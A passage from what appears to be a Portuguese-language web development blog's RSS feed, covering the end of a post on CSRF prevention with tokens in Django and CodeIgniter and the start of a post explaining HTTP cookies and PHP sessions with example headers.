encontrado no &lt;em&gt;site&lt;/em&gt; &lt;a href=&quot;https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)&quot; title=&quot;Leia mais sobre CSRF&quot;&gt;&lt;em&gt;The Open Web Application Security Project&lt;/em&gt;&lt;/a&gt;, é
um excelente exempo de ataque &lt;em&gt;CSRF&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Para prevenir este tipo de problema, podemos fazer um controle através
de &lt;a href=&quot;/2012/04/05/entendendo-os-cookies-e-sessoes.html&quot; title=&quot;Entendendo o Cookies e Sessões&quot;&gt;sessões&lt;/a&gt; e transmitir um &lt;em&gt;token&lt;/em&gt; que identifique que a requisição
foi de fato feita pelo usuário. &lt;em&gt;Kinn Coelho Julião&lt;/em&gt; escreveu &lt;a href=&quot;http://phpsp.org.br/2011/07/protegendo-seu-sistema-contra-ataques-csrf/&quot; title=&quot;Protegendo seus sistemas contra ataques CSRF&quot;&gt;um &lt;em&gt;post&lt;/em&gt; interessante para o &lt;em&gt;PHP-SP&lt;/em&gt;&lt;/a&gt;,
demonstrando como prevenir ataques &lt;em&gt;CSRF&lt;/em&gt; através de &lt;em&gt;token&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;De fato, tanto o &lt;em&gt;Django&lt;/em&gt; quanto o &lt;em&gt;Codeigniter&lt;/em&gt; utilizam essa tática
para prevenir ataques &lt;em&gt;CSRF&lt;/em&gt;. No &lt;em&gt;Django&lt;/em&gt;, com o &lt;em&gt;middleware&lt;/em&gt;
&lt;code class=&quot;language-text&quot;&gt;django.middleware.csrf.CsrfViewMiddleware&lt;/code&gt;, basta adicionar a chamada
da &lt;em&gt;templatetag&lt;/em&gt; ao formulário:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;django-html&quot;&gt;&lt;pre class=&quot;language-django-html&quot;&gt;&lt;code class=&quot;language-django-html&quot;&gt;&amp;lt;form method=&amp;quot;post&amp;quot; action=&amp;quot;.&amp;quot;&amp;gt;
    {% csrf_token %}
    ...
&amp;lt;/form&amp;gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;A &lt;em&gt;templatetag&lt;/em&gt; acima criará um campo oculto no formulário chamado
&lt;code class=&quot;language-text&quot;&gt;csrfmiddlewaretoken&lt;/code&gt;. Quando um &lt;em&gt;POST&lt;/em&gt; for realizado para a &lt;em&gt;view&lt;/em&gt; em
questão, caso o conteúdo de &lt;code class=&quot;language-text&quot;&gt;csrfmiddlewaretoken&lt;/code&gt; vindo do formulário
não “bata” com o conteúdo armazenado em sessão, o &lt;em&gt;Django&lt;/em&gt; entende que
aquela requisição não foi feita de maneira “natural” (ou seja, acessando
o formulário e submetendo-o). Logo, fica subentendido que aquela
requisição veio de outra origem, e o &lt;em&gt;framework&lt;/em&gt; não executa as
instruções da &lt;em&gt;view&lt;/em&gt; (retornando um código 403).&lt;/p&gt;
&lt;p&gt;No &lt;em&gt;Codeigniter&lt;/em&gt;, com a opção &lt;code class=&quot;language-text&quot;&gt;$config[&apos;csrf_protection’]&lt;/code&gt; como
&lt;code class=&quot;language-text&quot;&gt;TRUE&lt;/code&gt; no arquivo &lt;code class=&quot;language-text&quot;&gt;application/config/config.php&lt;/code&gt;, o &lt;em&gt;framework&lt;/em&gt;
adicionará automaticamente o campo de proteção &lt;em&gt;CSRF&lt;/em&gt; na abertura do
formulário:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;php&quot;&gt;&lt;pre class=&quot;language-php&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;token php language-php&quot;&gt;&lt;span class=&quot;token delimiter important&quot;&gt;&amp;lt;?php&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;form_open&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token delimiter important&quot;&gt;?&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2&gt;Considerações finais&lt;/h2&gt;
&lt;p&gt;Ficou um &lt;em&gt;post&lt;/em&gt; grande, mas acredito que consegui cobrir os problemas de
segurança mais conhecidos em aplicações &lt;em&gt;Web&lt;/em&gt;. Como é possível notar,
são vulnerabilidades que são facilmente contornáveis, mas que podem
trazer sérios problemas para você e seus usuários caso a sua aplicação
não esteja segura o bastante.&lt;/p&gt;
&lt;p&gt;Reforço: Se você tiver a oportunidade de utilizar um &lt;em&gt;framework&lt;/em&gt;,
utilize! Eles possuem soluções prontas e bem testadas para prevenir os
problemas citados acima, e outros tantos que surgem a cada dia na
&lt;em&gt;internet&lt;/em&gt;.&lt;/p&gt;
&lt;h2&gt;Referências&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http://www.dinke.net/blog/en/2011/10/20/validating-an-integer-with-php/&quot; title=&quot;As diferentes formas de validarmos um valor inteiro em PHP&quot;&gt;&lt;em&gt;Caugh in a Web: Validating an integer in PHP&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://codeigniter.com/user_guide/database/active_record.html&quot; title=&quot;Saiba como fazer consultas eficientes ao banco de dados com o Codeigniter&quot;&gt;&lt;em&gt;Codeigniter User Guide: Active Record Class&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://codeigniter.com/user_guide/general/security.html&quot; title=&quot;Veja as dicas de segurança dadas pelo time do Codeigniter&quot;&gt;&lt;em&gt;Codeigniter User Guide: Security&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.djangoproject.com/en/1.4/topics/db/queries/&quot; title=&quot;Saiba como construir modelos e como consultá-los através do ORM do Django&quot;&gt;&lt;em&gt;Django Documentation: Making queries&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.djangoproject.com/en/dev/topics/security/&quot; title=&quot;Veja dicas preciosas de segurança utilizando o Django&quot;&gt;&lt;em&gt;Django Documentation: Security in Django&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.invasao.com.br/2008/03/18/php-injection-o-fim-das-duvidas/&quot; title=&quot;Entenda como funciona um ataque via PHP Injection&quot;&gt;Invasão.com.br: &lt;em&gt;PHP Injection&lt;/em&gt; – O fim das dúvidas&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.php.net/manual/pt_BR/book.mysqli.php&quot; title=&quot;Conheça a mysqli direto da documentação do PHP&quot;&gt;&lt;em&gt;PHP Documentation: MySQL Melhorada&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://php.net/pdo&quot; title=&quot;Conheça uma das formas mais eficientes de fazer consultas a bancos de dados no PHP&quot;&gt;&lt;em&gt;PHP Documentation: PDO – PHP Data Objects&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://phpsp.org.br/2011/07/protegendo-seu-sistema-contra-ataques-csrf/&quot; title=&quot;Aprenda como utilizar tolkens para prevenir ataques CSRF&quot;&gt;&lt;em&gt;PHP SP&lt;/em&gt;: Protegendo o seu sistema contra ataques &lt;em&gt;CSRF&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.sitepoint.com/php-security-blunders/&quot; title=&quot;Excelentes dicas de segurança para quem programa em PHP&quot;&gt;&lt;em&gt;Site Point: Top 7 PHP Security Blunders Article&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://stackoverflow.com/questions/60174/best-way-to-stop-sql-injection-in-php&quot; title=&quot;Excelente thread no Stack Overflow, sobre SQL injection&quot;&gt;&lt;em&gt;Stack Overflow: Best way to stop SQL injection in PHP&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)&quot; title=&quot;Um bom artigo sobre o conceito do CSRF&quot;&gt;&lt;em&gt;The Open Web Application Security Project: Cross-Site Request Forgery&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Code_injection&quot; title=&quot;Leia mais sobre as formas de injeção de código no Wikipedia&quot;&gt;&lt;em&gt;Wikipedia: Code Injection&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://pt.wikipedia.org/wiki/Inje%C3%A7%C3%A3o_de_SQL&quot; title=&quot;Leia mais sobre SQL Injection no Wikipedia&quot;&gt;&lt;em&gt;Wikipedia&lt;/em&gt;: Injeção de &lt;em&gt;SQL&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Entendendo os Cookies e Sessões]]></title><description><![CDATA[Por muito tempo eu abstrai o conceito de
cookies e sessões, e nunca cheguei a prestar muita atenção no seu
funcionamento. Recentemente…]]></description><link>https://klauslaube.com.br/2012/04/05/entendendo-os-cookies-e-sessoes.html</link><guid isPermaLink="false">https://klauslaube.com.br/2012/04/05/entendendo-os-cookies-e-sessoes.html</guid><pubDate>Thu, 05 Apr 2012 16:53:12 GMT</pubDate><content:encoded>&lt;p&gt;Por muito tempo eu abstrai o conceito de
&lt;em&gt;cookies&lt;/em&gt; e sessões, e nunca cheguei a prestar muita atenção no seu
funcionamento. Recentemente, trabalhando com uma infra mais preocupada
com a segurança, disponibilidade e performance, tive a oportunidade de
relembrar e me aprofundar em alguns conceitos e práticas.&lt;/p&gt;
&lt;p&gt;O que já sabia é que os &lt;em&gt;cookies&lt;/em&gt; são “persistências temporárias” feitas
no lado do usuário, e sessões são persistências dependentes de
&lt;em&gt;cookies&lt;/em&gt;, mas realizadas no lado do servidor.&lt;/p&gt;
&lt;p&gt;A minha felicidade é que até aí, nada mudou :)&lt;/p&gt;
&lt;h2&gt;Para que servem Cookies e Sessões?&lt;/h2&gt;
&lt;p&gt;O &lt;a href=&quot;http://wagnerelias.com/2009/02/06/http-essentials/&quot; title=&quot;Conheça mais sobre o protocolo HTTP&quot;&gt;protocolo &lt;em&gt;HTTP&lt;/em&gt;&lt;/a&gt; é &lt;em&gt;stateless&lt;/em&gt;, ou seja, ele não mantém um
estado/conexão. Toda a interação que o seu cliente fizer com um servidor
&lt;a href=&quot;/tag/desenvolvimento-web.html&quot; title=&quot;Leia mais sobre Web&quot;&gt;&lt;em&gt;web&lt;/em&gt;&lt;/a&gt; acarretará em uma nova requisição e resposta.&lt;/p&gt;
&lt;p&gt;As requisições são independentes e possuem um tempo de vida (conexão,
envio de mensagem, resposta, encerramento da conexão). O servidor &lt;em&gt;web&lt;/em&gt;
não é capaz de identificar se duas requisições vieram de um mesmo
navegador, e o mesmo não faz nenhum gerenciamento em memória para que
mensagens sejam compartilhadas entre requisições.&lt;/p&gt;
&lt;p&gt;É para suprir esta necessidade que entram os &lt;em&gt;cookies&lt;/em&gt; e sessões.&lt;/p&gt;
&lt;h2&gt;Cookies&lt;/h2&gt;
&lt;p&gt;Através de &lt;em&gt;cookies&lt;/em&gt; o servidor &lt;em&gt;web&lt;/em&gt; é capaz de trocar informações de
estado com o navegador do usuário. Desse modo, somos capazes de
adicionar produtos a um carrinho de compras, sem perder estas
informações ao mudar de página, sair do &lt;em&gt;website&lt;/em&gt; ou até mesmo fechar o
navegador.&lt;/p&gt;
&lt;p&gt;Tecnicamente falando, um &lt;em&gt;cookie&lt;/em&gt; é uma pequena quantidade de informação
persistida temporariamente pelo navegador. Os navegadores normalmente
limitam o tamanho dos &lt;em&gt;cookies&lt;/em&gt; em até 4KB, e apagam &lt;em&gt;cookies&lt;/em&gt; com a
data de “validade vencida”.&lt;/p&gt;
&lt;p&gt;Para entender como essa troca de informação é feita, vamos criar um
&lt;em&gt;cookie&lt;/em&gt; com o &lt;a href=&quot;/tag/php.html&quot; title=&quot;Leia mais sobre PHP&quot;&gt;&lt;em&gt;PHP&lt;/em&gt;&lt;/a&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;php&quot;&gt;&lt;pre class=&quot;language-php&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;token php language-php&quot;&gt;&lt;span class=&quot;token delimiter important&quot;&gt;&amp;lt;?php&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;// cookies.php&lt;/span&gt;

    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;isset&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;$_COOKIE&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string single-quoted-string&quot;&gt;&apos;cookie_teste&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;token string single-quoted-string&quot;&gt;&apos;Você JÁ passou por aqui!&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;token string single-quoted-string&quot;&gt;&apos;Você NUNCA passou por aqui.&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;token function&quot;&gt;setcookie&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string single-quoted-string&quot;&gt;&apos;cookie_teste&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string single-quoted-string&quot;&gt;&apos;Algum valor...&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;time&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;3600&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token delimiter important&quot;&gt;?&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;O código acima verifica se o &lt;em&gt;cookie&lt;/em&gt; atendendo pelo identificador
&lt;code class=&quot;language-text&quot;&gt;cookie_teste&lt;/code&gt; já existe, caso não exista, cria um &lt;em&gt;cookie&lt;/em&gt; com
identificador &lt;code class=&quot;language-text&quot;&gt;cookie_teste&lt;/code&gt;, valor &lt;code class=&quot;language-text&quot;&gt;Algum valor...&lt;/code&gt; e com &lt;strong&gt;1
hora de vida&lt;/strong&gt; (a hora atual mais 3600 segundos).&lt;/p&gt;
&lt;p&gt;Quando visitamos pela primeira vez o &lt;code class=&quot;language-text&quot;&gt;cookies.php&lt;/code&gt;, temos a seguinte
resposta:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ curl -I localhost/cookies.php

HTTP/1.1 200 OK
Date: Wed, 04 Apr 2012 00:35:33 GMT
Server: Apache/2.2.21 (Unix) mod_ssl/2.2.21 OpenSSL/0.9.8r DAV/2 PHP/5.3.8
X-Powered-By: PHP/5.3.8
Set-Cookie: cookie_teste=Algum+valor...; expires=Wed, 04-Apr-2012 01:35:33 GMT
Content-Type: text/html&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Através da função &lt;code class=&quot;language-text&quot;&gt;setcookie&lt;/code&gt; do &lt;em&gt;PHP&lt;/em&gt;, estamos enviando um item
chamado &lt;code class=&quot;language-text&quot;&gt;Set-Cookie&lt;/code&gt; no cabeçalho &lt;em&gt;HTTP&lt;/em&gt; da resposta. É através deste
que o navegador entende que deve armazenar o valor &lt;code class=&quot;language-text&quot;&gt;Algum valor…&lt;/code&gt;,
atendendo pelo identificador &lt;code class=&quot;language-text&quot;&gt;cookie_teste&lt;/code&gt;, e que esta informação
expira em 1 hora (verifique a data da requisição e a data de validade do
&lt;em&gt;cookie&lt;/em&gt;).&lt;/p&gt;
&lt;p&gt;Na próxima vez que o navegador acessar esta &lt;em&gt;URL&lt;/em&gt;, ele verificará se
possui algum &lt;em&gt;cookie&lt;/em&gt; para aquele domínio e &lt;em&gt;path&lt;/em&gt;, caso exista, ele
passa as informações do &lt;em&gt;cookie&lt;/em&gt; no cabeçalho da requisição. Desse modo,
a nossa aplicação é capaz de perceber a existência de um &lt;em&gt;cookie&lt;/em&gt; (no
caso do &lt;em&gt;PHP&lt;/em&gt;, através do &lt;em&gt;array&lt;/em&gt; global &lt;code class=&quot;language-text&quot;&gt;$_COOKIE&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;Abaixo, um exemplo de requisição utilizando o &lt;em&gt;Google Chrome&lt;/em&gt;:&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 760px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/574c72cb92153b3981d5e76c2ba7a077/3c051/exemplo-php-cookies.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 50.52083333333333%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAAsTAAALEwEAmpwYAAABs0lEQVQoz4WSTY/TMBCG85s5wpkzdy57hB+BOKxQBSqrpW0SJ23jJLSpt9pdmqb5TjovY7cNdCWEpUfv2JbH82U9PT8eN0rRRm0pTTNqmo7quqGu66hrW6N935/22j7r8Xg06Dutl2XZ7oji0MXPOEQkfTjTH5jc38ETAmI2g2PbcF3HMJ3OIJwp37mIoghSSoRhiDiOkSQJVqsVrHcfHXr7Icabm4Be30h69V7Sp3FCah2R8H3y53PiB8QOKFknlGV7JqP9/o+maTpg3QclfREVbt2Kbp0Kn2cV4m2JYOFDeDaU2iDbZyjyAmVRomkatG078HJZDJ1tGk6px5JTcT3fYAsPa/WAX7sdOCrUdY2qqpgaXD9w6QYsXU8GPWt/UnAzEN59hzcaIRiP8bxYolOKPyL8bw0R0ukLs9EOl5MJ7K/foOYLPHK0TzJEztHlRYE8z3E4HMD1M7amLEvDlcOzT1MbyV0U/hyrZIOUH1dcu67rTYo8KgYenyvVXEd4Ur7oeCQC+J4HGUhsH7ZId+nw6G/oRRn+4bBHpJviCp45bshqbdIrOF2d6iVNbV86fWnKb+NB9kswbtS6AAAAAElFTkSuQmCC&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;Item cookie no cabeçalho de resposta da requisição HTTP&amp;quot;&quot;
        title=&quot;Item cookie no cabeçalho de resposta da requisição HTTP&quot;
        src=&quot;/static/574c72cb92153b3981d5e76c2ba7a077/3c051/exemplo-php-cookies.png&quot;
        srcset=&quot;/static/574c72cb92153b3981d5e76c2ba7a077/8514f/exemplo-php-cookies.png 192w,
/static/574c72cb92153b3981d5e76c2ba7a077/804b2/exemplo-php-cookies.png 384w,
/static/574c72cb92153b3981d5e76c2ba7a077/3c051/exemplo-php-cookies.png 760w&quot;
        sizes=&quot;(max-width: 760px) 100vw, 760px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Item cookie no cabeçalho de resposta da requisição HTTP&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;/images/blog/exemplo-php-cookies.png&quot;&gt;Clique para ampliar&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Se excluirmos os &lt;em&gt;cookies&lt;/em&gt;, ou o tempo de expiração for atingido, o
navegador deixa de anexar esta informação ao cabeçalho da requisição.&lt;/p&gt;
&lt;h2&gt;Sessões&lt;/h2&gt;
&lt;p&gt;As sessões têm um princípio similar aos &lt;em&gt;cookies&lt;/em&gt;, só que o
armazenamento do estado é feito pelo servidor &lt;em&gt;web&lt;/em&gt;, e não pelo
navegador.&lt;/p&gt;
&lt;p&gt;Por exemplo, quando construímos uma aplicação que necessita de
autenticação, no momento em que o usuário efetuar o &lt;em&gt;login&lt;/em&gt;, podemos até
permitir que algumas informações sejam armazenadas em um &lt;em&gt;cookie&lt;/em&gt;, mas
dados mais “sensíveis”, como usuário e &lt;em&gt;e-mail&lt;/em&gt;, são mais interessantes
de serem guardadas em sessões. Isto, pois &lt;strong&gt;não é seguro&lt;/strong&gt; que esse tipo
de informação fique “viajando” pela &lt;em&gt;web&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Mas se o &lt;em&gt;HTTP&lt;/em&gt; é &lt;em&gt;stateless&lt;/em&gt;, e o servidor &lt;em&gt;web&lt;/em&gt; não tem como
identificar que a requisição anterior veio do meu &lt;em&gt;browser&lt;/em&gt;, como é que
ele sabe que as informações que eu guardei em sessão são de fato minhas?
Simples… &lt;strong&gt;através de &lt;em&gt;cookies&lt;/em&gt;!&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Quando iniciamos uma sessão, é enviado um &lt;em&gt;cookie&lt;/em&gt; para o navegador, com
um valor único que corresponde a sessão aberta no servidor &lt;em&gt;web&lt;/em&gt;. Vamos
ilustrar através do exemplo abaixo:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;php&quot;&gt;&lt;pre class=&quot;language-php&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;token php language-php&quot;&gt;&lt;span class=&quot;token delimiter important&quot;&gt;&amp;lt;?php&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;// sessions.php&lt;/span&gt;

    &lt;span class=&quot;token function&quot;&gt;session_start&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;isset&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;$_SESSION&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string single-quoted-string&quot;&gt;&apos;usuario&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;token string double-quoted-string&quot;&gt;&quot;Bem vindo &lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;$_SESSION&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string single-quoted-string&quot;&gt;&apos;usuario&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;!&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;token string single-quoted-string&quot;&gt;&apos;Você NUNCA passou por aqui.&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;token variable&quot;&gt;$_SESSION&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string single-quoted-string&quot;&gt;&apos;usuario&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string single-quoted-string&quot;&gt;&apos;João&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token delimiter important&quot;&gt;?&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;O código acima inicia uma sessão através do método &lt;code class=&quot;language-text&quot;&gt;session_start&lt;/code&gt;.
Na primeira visita, será criado um índice &lt;code class=&quot;language-text&quot;&gt;usuario&lt;/code&gt; com o valor
&lt;code class=&quot;language-text&quot;&gt;João&lt;/code&gt;. A resposta da nossa requisição será a seguinte:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ curl -I localhost/sessions.php

HTTP/1.1 200 OK
Date: Wed, 04 Apr 2012 01:51:57 GMT
Server: Apache/2.2.21 (Unix) mod_ssl/2.2.21 OpenSSL/0.9.8r DAV/2 PHP/5.3.8
X-Powered-By: PHP/5.3.8
Set-Cookie: PHPSESSID=4h91dkp7pcp8184nil8rt9ok13; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Por partes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Como mencionei, &lt;code class=&quot;language-text&quot;&gt;Set-Cookie&lt;/code&gt; foi retornado com um identificador
(&lt;code class=&quot;language-text&quot;&gt;PHPSESSID&lt;/code&gt;) e um valor que corresponde a sessão aberta no
servidor (&lt;code class=&quot;language-text&quot;&gt;4h91dkp7pcp8184nil8rt9ok13&lt;/code&gt;). O complemento &lt;code class=&quot;language-text&quot;&gt;path&lt;/code&gt;
está “dizendo” ao navegador que aquele &lt;em&gt;cookie&lt;/em&gt; tem validade por
todo o domínio (ou seja, valerá inclusive para outros arquivos &lt;em&gt;PHP&lt;/em&gt;
em outras subpastas). Quando não é informada a data de expiração, o
navegador manterá o &lt;em&gt;cookie&lt;/em&gt; até o momento em que ele for fechado.&lt;/li&gt;
&lt;li&gt;O &lt;em&gt;PHP&lt;/em&gt; tomou a liberdade de adicionar alguns cabeçalhos de controle
de &lt;em&gt;cache&lt;/em&gt; (&lt;code class=&quot;language-text&quot;&gt;Expires&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;Cache-Control&lt;/code&gt; e &lt;code class=&quot;language-text&quot;&gt;Pragma&lt;/code&gt;) à nossa
resposta. Em resumo, o servidor está dizendo ao navegador para que
não armazene esta página em &lt;em&gt;cache&lt;/em&gt;. Estes valores podem ser
alterados em &lt;a href=&quot;http://www.php.net/manual/en/ref.session.php&quot; title=&quot;PHP: Session functions&quot;&gt;tempo de desenvolvimento&lt;/a&gt;, ou &lt;a href=&quot;http://www.php.net/manual/en/session.configuration.php&quot; title=&quot;PHP: Runtime configuration&quot;&gt;através do &lt;strong&gt;php.ini&lt;/strong&gt;&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Em nenhum momento o &lt;em&gt;Apache&lt;/em&gt; informou ao navegador que temos um
